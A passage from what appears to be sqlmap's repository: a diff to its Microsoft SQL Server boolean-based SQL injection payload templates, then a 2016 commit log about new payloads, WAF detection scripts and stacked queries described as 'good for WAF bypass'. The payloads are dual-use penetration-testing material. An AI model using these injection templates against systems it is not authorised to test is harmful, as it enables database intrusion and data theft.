-        <vector>,(SELECT (CASE WHEN ([INFERENCE]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] FROM master..sysdatabases) END))</vector>
+        <vector>,(SELECT (CASE WHEN ([INFERENCE]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] UNION ALL SELECT [RANDNUM1]) END))</vector>
        <request>
-            <payload>,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] FROM master..sysdatabases) END))</payload>
+            <payload>,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] UNION ALL SELECT [RANDNUM1]) END))</payload>
        </request>
        <response>
-            <comparison>,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] FROM master..sysdatabases) END))</comparison>
+            <comparison>,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] UNION ALL SELECT [RANDNUM1]) END))</comparison>
        </response>
        <details>
            <dbms>Microsoft SQL Server</dbms>
@@ -1091,12 +1124,12 @@ Tag: <test>
        <risk>1</risk>
        <clause>3</clause>
        <where>1</where>
-        <vector>,(SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM master..sysdatabases) END))</vector>
+        <vector>,(SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] UNION ALL SELECT [RANDNUM1]) END))</vector>
        <request>
-            <payload>,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM master..sysdatabases) END))</payload>
+            <payload>,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] UNION ALL SELECT [RANDNUM1]) END))</payload>
        </request>
        <response>
-            <comparison>,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM master..sysdatabases) END))</comparison>
+            <comparison>,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] UNION ALL SELECT [RANDNUM1]) END))</comparison>
        </response>
        <details>
            <dbms>Microsoft SQL Server</dbms>
@@ -1333,13 +1366,13 @@ Tag: <test>
        <risk>1</risk>
        <clause>0</clause>
        <where>1</where>
-        <vector>;SELECT (CASE WHEN ([INFERENCE]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] FROM master..sysdatabases) END)</vector>
+        <vector>;SELECT (CASE WHEN ([INFERENCE]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] UNION ALL SELECT [RANDNUM1]) END)</vector>
        <request>
-            <payload>;SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] FROM master..sysdatabases) END)</payload>
+            <payload>;SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] UNION ALL SELECT [RANDNUM1]) END)</payload>
            <comment>--</comment>
        </request>
        <response>
-            <comparison>;SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] FROM master..sysdatabases) END)</comparison>
+            <comparison>;SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] UNION ALL SELECT [RANDNUM1]) END)</comparison>
        </response>
        <details>
            <dbms>Microsoft SQL Server</dbms>
--- a/Show More
+++ b/Show More
Author	SHA1	Message	Date
Miroslav Stampar	ae98159130	Automatic monthly tagging	2016-07-03 02:03:30 +02:00
Miroslav Stampar	3a9e36c52b	Reintroducing stacked queries removed in `79d08906a4` (good for WAF bypass)	2016-07-03 02:03:30 +02:00
Miroslav Stampar	cb43c03712	Definite patch for MemoryError(s) (fixes #1991 )	2016-06-30 14:57:56 +02:00
Miroslav Stampar	65a0f15f69	Minor update (error regex for PHP's sqlsrv module)	2016-06-28 15:13:37 +02:00
Miroslav Stampar	98b77d32cc	Minor update	2016-06-27 11:16:41 +02:00
Miroslav Stampar	86a3569ccb	New WAF script (SonicWALL)	2016-06-26 16:42:05 +02:00
Miroslav Stampar	17fca351d3	Minor update	2016-06-26 16:26:13 +02:00
Miroslav Stampar	2614e7bec1	Minor update	2016-06-26 16:23:39 +02:00
Miroslav Stampar	832c6e806f	Revert of last commit	2016-06-26 15:59:35 +02:00
Miroslav Stampar	7b334b0808	'Conversion failed' happens in regular SQLi on MsSQL	2016-06-26 15:57:11 +02:00
Miroslav Stampar	aa9151785e	Minor update	2016-06-26 15:37:30 +02:00
Miroslav Stampar	6bdef1b7da	Minor update	2016-06-26 01:46:49 +02:00
Miroslav Stampar	8b4367d354	Revert of last commit	2016-06-26 01:42:21 +02:00
Miroslav Stampar	0a9d69a7d0	Minor patch	2016-06-26 01:10:47 +02:00
Miroslav Stampar	a4b60dc00f	New error regex for MsSQL	2016-06-26 00:40:54 +02:00
Miroslav Stampar	f91ae32284	Minor update (to not confuse S3 vs Cloudfront)	2016-06-24 13:39:13 +02:00
Miroslav Stampar	53fc9d6720	Fixes #1990	2016-06-24 13:31:19 +02:00
Miroslav Stampar	0b31568306	Minor update	2016-06-24 13:28:08 +02:00
Miroslav Stampar	e9407cf791	Cleaning some garbage boundaries (it doesn't make any sense to use %00 as prefix)	2016-06-23 22:57:59 +02:00
Miroslav Stampar	0175acd028	Bug fix (in some cases lack of warning message for SQLi appearing)	2016-06-23 17:52:37 +02:00
Miroslav Stampar	733a32de32	Minor patch	2016-06-23 12:09:51 +02:00
Miroslav Stampar	1b863ecf93	Far better detection of SecureIIS (WAF)	2016-06-23 12:03:05 +02:00
Miroslav Stampar	ec06037335	Update of bigip waf script	2016-06-23 11:41:49 +02:00
Miroslav Stampar	0cdb62a1b5	Adding new waf script (armor)	2016-06-23 11:15:31 +02:00
Miroslav Stampar	99454198b8	Minor refactoring	2016-06-20 10:01:57 +02:00
Miroslav Stampar	dd6287ace8	Fixes #1972	2016-06-20 09:59:50 +02:00
Miroslav Stampar	786460e3b4	Minor just in case patch	2016-06-19 17:44:47 +02:00
Miroslav Stampar	419cf979f1	Showing again the 'shutting down at ...' message	2016-06-19 17:17:01 +02:00
Miroslav Stampar	30be875304	Patch for an Issue #1968	2016-06-18 01:21:57 +02:00
Miroslav Stampar	7d011bc811	Fixes #1964	2016-06-17 17:07:44 +02:00
Miroslav Stampar	b2c4a3b247	Fixes #1960	2016-06-17 16:54:23 +02:00
Miroslav Stampar	9d9592a69b	Fixes #1963	2016-06-17 16:51:23 +02:00
Miroslav Stampar	cb42294a7e	Minor message update	2016-06-15 07:57:10 +02:00
Miroslav Stampar	146762c109	Minor update	2016-06-15 07:54:47 +02:00
Miroslav Stampar	494b9d1586	Fixes #1943	2016-06-13 15:30:38 +02:00
Miroslav Stampar	2e95fdb52d	Fixes #1947	2016-06-13 14:50:44 +02:00
Miroslav Stampar	46736cac7b	Fixes #1931	2016-06-10 18:41:41 +02:00
Miroslav Stampar	041213f22d	Fixes #1935	2016-06-10 18:18:48 +02:00
Miroslav Stampar	8ca45c5678	Fixes #1936	2016-06-10 18:02:24 +02:00
Miroslav Stampar	c6eec8db97	Fixes #1938	2016-06-10 17:52:22 +02:00
Miroslav Stampar	98fdc493f4	Proper patch for #1923 (Fixes #1940 , #1941 )	2016-06-10 17:42:11 +02:00
Miroslav Stampar	91372bff87	Fixes #1932	2016-06-08 08:20:54 +02:00
Miroslav Stampar	7fb9db42a7	Performing a backup of old dump file (Issue #841 )	2016-06-05 12:37:19 +02:00
Miroslav Stampar	82382957f9	Minor refactoring	2016-06-05 12:25:42 +02:00
Miroslav Stampar	f034122bd0	Fixes #1920	2016-06-05 12:14:01 +02:00
Miroslav Stampar	0df2456f34	Fixes #1923	2016-06-03 16:06:29 +02:00
Miroslav Stampar	78fdb27a0b	More improvements	2016-06-03 15:51:52 +02:00
Miroslav Stampar	350baf0a0a	Minor update	2016-06-03 14:29:32 +02:00
Miroslav Stampar	9886b646eb	Proper update regarding the last commit	2016-06-03 14:18:28 +02:00
Miroslav Stampar	c5197b99a0	Minor patch and minor improvement	2016-06-03 13:59:32 +02:00
Miroslav Stampar	cc313280af	Payload that never ever worked (now fixed)	2016-06-03 13:16:00 +02:00
Miroslav Stampar	f06ff42c58	This never worked. Not sure who incorporated it (WAITFOR DELAY can't go to SELECT/CASE)	2016-06-03 10:42:57 +02:00
Miroslav Stampar	4bc1cf4518	Vastly better patch for MsSQL payloads	2016-06-03 10:29:04 +02:00
Miroslav Stampar	0e65043c84	Minor adjustment	2016-06-03 09:48:49 +02:00
Miroslav Stampar	d7d565415a	Patch for MySQL fingerprinting	2016-06-03 02:31:31 +02:00
Miroslav Stampar	0986ec8948	Update for Oracle fingerprinting	2016-06-03 02:27:59 +02:00
Miroslav Stampar	50bced511f	Adding support for fingerprinting MsSQL 2014 and 2016	2016-06-03 02:24:19 +02:00
Miroslav Stampar	e275e8c0b0	Fixes #1921	2016-06-03 02:02:11 +02:00
Miroslav Stampar	77dea38ac1	Fixes #1918	2016-06-03 00:37:18 +02:00
Miroslav Stampar	7dc2ec5fd8	Minor touch	2016-06-01 20:42:09 +02:00
Miroslav Stampar	4bf2e3b139	Minor update	2016-06-01 20:37:05 +02:00
Miroslav Stampar	8114c14755	Removing leftover	2016-06-01 16:32:22 +02:00
Miroslav Stampar	ec8cf6aadc	Adding support for detecting CAPTCHA	2016-06-01 15:48:04 +02:00
Miroslav Stampar	d326965966	Reordering MySQL's error-based payloads (BIGINT and EXP have crazy bigger chunk lenghts)	2016-06-01 14:12:22 +02:00
Miroslav Stampar	030df0353d	Removing ugly legacy code (e.g. showing MySQL 5.0 when it is e.g. '5.7.8')	2016-06-01 13:47:20 +02:00
Miroslav Stampar	5038d7a70a	Removing ugly boolean check results (0 or 1) in output of UNION and ERROR SQLi	2016-06-01 13:39:40 +02:00
Miroslav Stampar	f0b8fbb7fd	Implemented support for JSON_KEYS error-based SQLi (and tons of fixes for MySQL 'ORDER BY,GROUP BY' payloads)	2016-06-01 13:23:41 +02:00
Miroslav Stampar	5810c2b199	Minor patch	2016-06-01 11:30:27 +02:00
Miroslav Stampar	77f0b5dfa8	Fixes #1919	2016-06-01 10:56:42 +02:00
Miroslav Stampar	b0ea74dc63	Minor warning message update	2016-06-01 10:53:32 +02:00
Miroslav Stampar	0c07c8942c	Automatic monthly tagging	2016-06-01 10:44:08 +02:00
Miroslav Stampar	7d1bdb35ca	Update of parsed versions	2016-06-01 10:44:08 +02:00
Miroslav Stampar	e823889819	Update for JSP exceptions	2016-05-31 15:35:10 +02:00
Miroslav Stampar	680aedaefc	Adding option --tmp-dir	2016-05-31 14:55:56 +02:00
Miroslav Stampar	afdca09ced	Minor patches (proper user warnings in case of output directory permissions)	2016-05-31 14:05:35 +02:00
Miroslav Stampar	ac89ee71c3	Minor improvement	2016-05-31 13:29:43 +02:00
Miroslav Stampar	af7c8cff92	Bug fix (previously removing temporary directory even if it is needed afterwards)	2016-05-31 13:21:08 +02:00
Miroslav Stampar	26d4dec5fb	Minor refactoring	2016-05-31 13:02:26 +02:00
Miroslav Stampar	cf31d12528	Adding support for python's cgitb tracebacks	2016-05-31 12:33:56 +02:00
Miroslav Stampar	b4c730f8c0	Minor refactoring	2016-05-31 12:23:59 +02:00
Miroslav Stampar	fba1720b31	Minor patch	2016-05-31 11:16:13 +02:00
Miroslav Stampar	9fad72f28b	Adding support for MsAccess usage of parsed FROM table names (e.g. in case of ColdFusion)	2016-05-31 11:08:23 +02:00
Miroslav Stampar	1782bf8e64	Adding support for parsing ODBC/JDBC error messages	2016-05-31 10:49:34 +02:00
Miroslav Stampar	2d59a10515	Better patch than last commit	2016-05-31 10:25:01 +02:00
Miroslav Stampar	21a25c4f00	Bug for fix comments in case of MsAccess	2016-05-31 10:24:13 +02:00
Miroslav Stampar	6b5c16c22c	Minor update for ColdFusion error messages	2016-05-31 09:54:14 +02:00
Miroslav Stampar	2c6621c26a	Minor upgrade for WAF/IDS/IPS detection	2016-05-31 09:49:50 +02:00
Miroslav Stampar	f0500b1d2f	Minor update for ColdFusion path regexes	2016-05-31 09:35:58 +02:00
Miroslav Stampar	6a033bb58c	Minor update for ColdFusion type casting	2016-05-31 09:31:32 +02:00
Miroslav Stampar	2fa4b22645	Patch for URL encoding cookie values (asking the user to choose)	2016-05-30 17:47:08 +02:00
Miroslav Stampar	229d3a7dd0	Patch for cases when error page looks more like original, than the False one does	2016-05-30 16:46:23 +02:00
Miroslav Stampar	b965e5bf1c	Minor refactoring	2016-05-30 16:06:39 +02:00
Miroslav Stampar	3bd74c5351	Minor patch	2016-05-30 15:20:21 +02:00
Miroslav Stampar	55624ec1a2	Minor message update	2016-05-30 14:40:22 +02:00
Miroslav Stampar	6885afe8c3	Minor update for requestvalidationmode.py waf script	2016-05-30 14:26:55 +02:00
Miroslav Stampar	acc1277246	Minor update	2016-05-30 14:13:57 +02:00
Miroslav Stampar	935cb9c8cb	Patch for a custom header cookie urlencoding	2016-05-30 14:09:53 +02:00
Miroslav Stampar	17a4ddad63	Fixes #1916	2016-05-30 13:10:25 +02:00
Miroslav Stampar	5264671f5b	Dump formatting patch for MsAccess	2016-05-30 12:03:33 +02:00
Miroslav Stampar	b4ebbae354	New payload(s)	2016-05-30 11:25:24 +02:00
Miroslav Stampar	510197c39e	Minor text update	2016-05-30 10:52:30 +02:00
Miroslav Stampar	b6a4bd91fe	Minor text update	2016-05-30 10:51:35 +02:00
Miroslav Stampar	83b82a5e98	Bug fix (wrong handler used in case of DBMS resolution)	2016-05-30 10:32:49 +02:00
Miroslav Stampar	0b1efc0759	Minor update (for newer versions of MsSQL)	2016-05-30 01:38:34 +02:00
Miroslav Stampar	2b506d744d	Minor update	2016-05-30 01:29:40 +02:00
Miroslav Stampar	79d08906a4	Cleaning some redundant payload(s)	2016-05-27 23:59:48 +02:00
Miroslav Stampar	d27b33e26c	Update README.md	2016-05-27 23:03:59 +02:00
Miroslav Stampar	73d86f0fdd	Merge pull request #1898 from kuma-guy/ja-JP Adding translation for README in Japanese(JP).	2016-05-27 23:02:11 +02:00
Miroslav Stampar	6327063bd0	Minor patch	2016-05-27 16:43:01 +02:00
Miroslav Stampar	69fd900108	Adding waf script for detection of generic/unknown	2016-05-27 16:34:41 +02:00
Miroslav Stampar	f9d01f682b	Cloudflare has tons of HTTP error codes while detecting SQLi	2016-05-27 15:58:16 +02:00
Miroslav Stampar	d7d3db415b	Minor update	2016-05-27 15:32:30 +02:00
Miroslav Stampar	608f141f52	New waf scripts	2016-05-27 15:22:08 +02:00
Miroslav Stampar	31850e4544	Minor bug fixes	2016-05-27 13:58:18 +02:00
Miroslav Stampar	de9f23939f	Major bug fix in WAF/IDS/IPS detection (question 'do you want..to try to detect backend WAF/IPS/IDS' never worked)	2016-05-27 13:41:03 +02:00
Miroslav Stampar	154ed2c4e2	Minor patch	2016-05-27 13:33:14 +02:00
Miroslav Stampar	89dfe4e1ac	Adding wallarm WAF script (and couple of other WAF script updates)	2016-05-27 11:58:18 +02:00
Miroslav Stampar	b41b07ddd8	Updates for 360 and jiasule WAF scripts	2016-05-27 11:02:05 +02:00
Miroslav Stampar	e36fc02282	Adding sophos WAF script	2016-05-27 10:17:42 +02:00
Miroslav Stampar	49b41c1eca	Minor update for cloudflare waf script	2016-05-27 09:43:54 +02:00
Miroslav Stampar	4cd9fdb7df	Minor update for F5 waf script	2016-05-27 09:27:45 +02:00
Miroslav Stampar	5aab2d8fb5	Update for Akamai Kona WAF script	2016-05-27 09:22:39 +02:00
Miroslav Stampar	210b65c02d	Couple of fixes for --identify-waf	2016-05-27 02:24:59 +02:00
Miroslav Stampar	7a2ac23f0b	Adding new waf script (sitelock)	2016-05-27 02:13:01 +02:00
Miroslav Stampar	e435fb2e9e	Adding new waf script (comodo)	2016-05-27 01:23:20 +02:00
Miroslav Stampar	6892c94595	Minor update	2016-05-27 01:10:37 +02:00
Miroslav Stampar	831c960216	Update for an Issue #1899	2016-05-26 16:47:38 +02:00
Miroslav Stampar	43af2a4aee	Fixes #1899	2016-05-26 16:08:59 +02:00
Shingo Kumagai	190819e85d	Adding translation for README in Japanese(JP).	2016-05-26 09:37:45 +09:00
Miroslav Stampar	1de6996c26	Fixes #1893	2016-05-25 15:43:39 +02:00
Miroslav Stampar	304f2ed308	Minor language patch	2016-05-25 15:32:17 +02:00
Miroslav Stampar	148b35da4f	Better extraction of absolute file paths	2016-05-25 15:29:25 +02:00
Miroslav Stampar	3865b3a398	Minor improvement in case of technique E (when waiting for large entry - lots of chunks)	2016-05-25 12:50:53 +02:00
Miroslav Stampar	d6bcbbae1d	Minor patch for E technique to be more compatible with output of U technique	2016-05-25 12:42:15 +02:00
Miroslav Stampar	04b3aefc5d	Patch for special character output in U and E techniques	2016-05-25 12:24:36 +02:00
Miroslav Stampar	a5f8cae599	Fixes #1892	2016-05-24 17:58:35 +02:00
Miroslav Stampar	29c3037512	Better asciinema recording (shorter width)	2016-05-24 17:26:10 +02:00
Miroslav Stampar	d0d7d3a205	Update of location of a sample run	2016-05-24 17:12:44 +02:00
Miroslav Stampar	7ce36ea1b6	Removal of unused imports	2016-05-24 16:40:44 +02:00
Miroslav Stampar	6f97f4796b	Fixes #1891	2016-05-24 16:34:07 +02:00
Miroslav Stampar	39fe96009f	Minor improvement (related to the last commit)	2016-05-24 16:20:39 +02:00
Miroslav Stampar	b475a38895	Better ORDER BY detection	2016-05-24 15:46:06 +02:00
Miroslav Stampar	42de887b05	Language update	2016-05-24 15:18:19 +02:00
Miroslav Stampar	28576bf08e	Minor output update	2016-05-24 15:08:04 +02:00
Miroslav Stampar	c395958dff	Fixes #1888	2016-05-24 14:55:19 +02:00
Miroslav Stampar	798b539eec	Minor update	2016-05-24 14:50:56 +02:00
Miroslav Stampar	70cf8edc75	Fixes #1887	2016-05-24 14:17:00 +02:00
Miroslav Stampar	a81ea88eb0	Fixes #1889	2016-05-24 13:59:34 +02:00
Miroslav Stampar	023dda26fc	Minor update for --os-shell directories	2016-05-24 12:53:21 +02:00
Miroslav Stampar	3e76895155	Minor update	2016-05-24 12:30:01 +02:00
Miroslav Stampar	2c1bd7f034	Update for an Issue #1531 (MySQL quirk with international letters)	2016-05-24 12:01:02 +02:00
Miroslav Stampar	f7cae68378	More formal language	2016-05-22 21:44:17 +02:00
Miroslav Stampar	f6ff1a115a	Better (automatic) picking of a --string candidate (especially in case of international pages)	2016-05-22 21:29:08 +02:00
Miroslav Stampar	32ee586e2a	Minor language update	2016-05-22 14:30:32 +02:00
Miroslav Stampar	b9e5655e3c	Proper naming	2016-05-22 14:26:36 +02:00
Miroslav Stampar	6623c3f877	Pesky bug fix (nobody noticed :)	2016-05-22 14:22:31 +02:00
Miroslav Stampar	30a4173249	I like users which don't know the difference between detection and identification	2016-05-22 12:40:23 +02:00
Miroslav Stampar	dbbe4c6ddd	Fixes #1884	2016-05-22 11:44:21 +02:00
Miroslav Stampar	633e4dfe48	Fixes #1886	2016-05-22 11:37:27 +02:00
Miroslav Stampar	5e8b105677	Fixes #1880	2016-05-19 19:46:12 +02:00
Miroslav Stampar	414dd96bbd	Minor update (warning on negative integer values provided)	2016-05-19 18:04:25 +02:00
Miroslav Stampar	e857c2a88a	Update for an Issue #1879	2016-05-19 13:50:31 +02:00
Miroslav Stampar	e7aaea2b8e	Update for an Issue #1826	2016-05-17 14:10:49 +02:00
Miroslav Stampar	63d7cd607e	Minor patch (for late threading issues)	2016-05-17 13:54:42 +02:00
Miroslav Stampar	d886b08dd9	Update for an Issue #1826	2016-05-17 13:45:03 +02:00
Miroslav Stampar	72f3185ae7	Fixes #1878	2016-05-17 10:47:17 +02:00
Miroslav Stampar	03be9f9b65	Minor removal of blank lines	2016-05-17 10:43:16 +02:00
Miroslav Stampar	d9d0865c13	Another patch for an Issue #1874	2016-05-16 17:09:05 +02:00
Miroslav Stampar	e3f54bc226	Minor patch for #1874	2016-05-16 16:53:28 +02:00
Miroslav Stampar	9662f4a56a	Minor update	2016-05-16 16:47:29 +02:00
Miroslav Stampar	fea5cc8579	Minor patch	2016-05-16 15:37:49 +02:00
Miroslav Stampar	94091cd0e9	Fixes #1871	2016-05-15 09:37:45 +02:00
Miroslav Stampar	cc9f4b6102	Minor refactoring for MariaDB	2016-05-14 15:05:50 +02:00
Miroslav Stampar	cd7c99c752	Minor revert (it was not necessary - caused other problems)	2016-05-14 14:48:17 +02:00
Miroslav Stampar	75478c1181	Fixes #1868	2016-05-14 14:18:34 +02:00
Miroslav Stampar	ad0ca69579	Fixes #1865	2016-05-13 15:14:56 +02:00
Miroslav Stampar	2d801b7122	Minor patch for an Issue #1861	2016-05-12 17:16:55 +02:00
Miroslav Stampar	1e07269fe3	Patch for an Issue #1860	2016-05-12 16:42:12 +02:00
Miroslav Stampar	3b74e99576	Minor update (support for MariaDB)	2016-05-11 15:47:35 +02:00
Miroslav Stampar	439fff684e	Minor update (MSSQL CONCAT payload)	2016-05-11 09:42:54 +02:00
Miroslav Stampar	72cf06119c	Patch for an Issue #1852	2016-05-10 09:55:03 +02:00
Miroslav Stampar	808068d70a	Minor update	2016-05-10 09:19:59 +02:00
Miroslav Stampar	f09072b2b6	Fixes #1853	2016-05-09 13:13:02 +02:00
Miroslav Stampar	be9381abc5	Implements #1845	2016-05-06 13:06:59 +02:00
Miroslav Stampar	5d09f7b85f	Fixes #1822	2016-05-06 10:32:16 +02:00
Miroslav Stampar	8bbfee7591	Cleaning a leftover from `be26392057`	2016-05-06 10:30:58 +02:00
Miroslav Stampar	be26392057	Update for an Issue #1846	2016-05-06 10:23:57 +02:00
Miroslav Stampar	263730f4ee	Fixes #1840	2016-05-04 13:23:59 +02:00
Miroslav Stampar	5d7e1782d9	Fixes #1839	2016-05-04 11:14:42 +02:00
Miroslav Stampar	e27f590c2c	Fixes #1838	2016-05-04 11:11:58 +02:00
Miroslav Stampar	7afe655561	Another minor update for #1836	2016-05-03 12:52:46 +02:00
Miroslav Stampar	3bf08290a4	Update for an Issue #1836	2016-05-03 12:37:10 +02:00
Miroslav Stampar	34c2172391	Fixes #1837	2016-05-03 11:38:47 +02:00
Miroslav Stampar	48044f7a46	Minor update of IDS_WAF_CHECK_PAYLOAD	2016-05-03 00:19:19 +02:00
Miroslav Stampar	04e666182f	Minor update of FORMAT_EXCEPTION_STRINGS	2016-05-02 23:44:43 +02:00
Miroslav Stampar	c797129956	Fixes #1833	2016-05-02 11:10:12 +02:00
Miroslav Stampar	6928dae956	Minor patch	2016-05-02 10:45:50 +02:00
Miroslav Stampar	6db3bcbb51	Minor update for UrlScan	2016-05-02 10:12:19 +02:00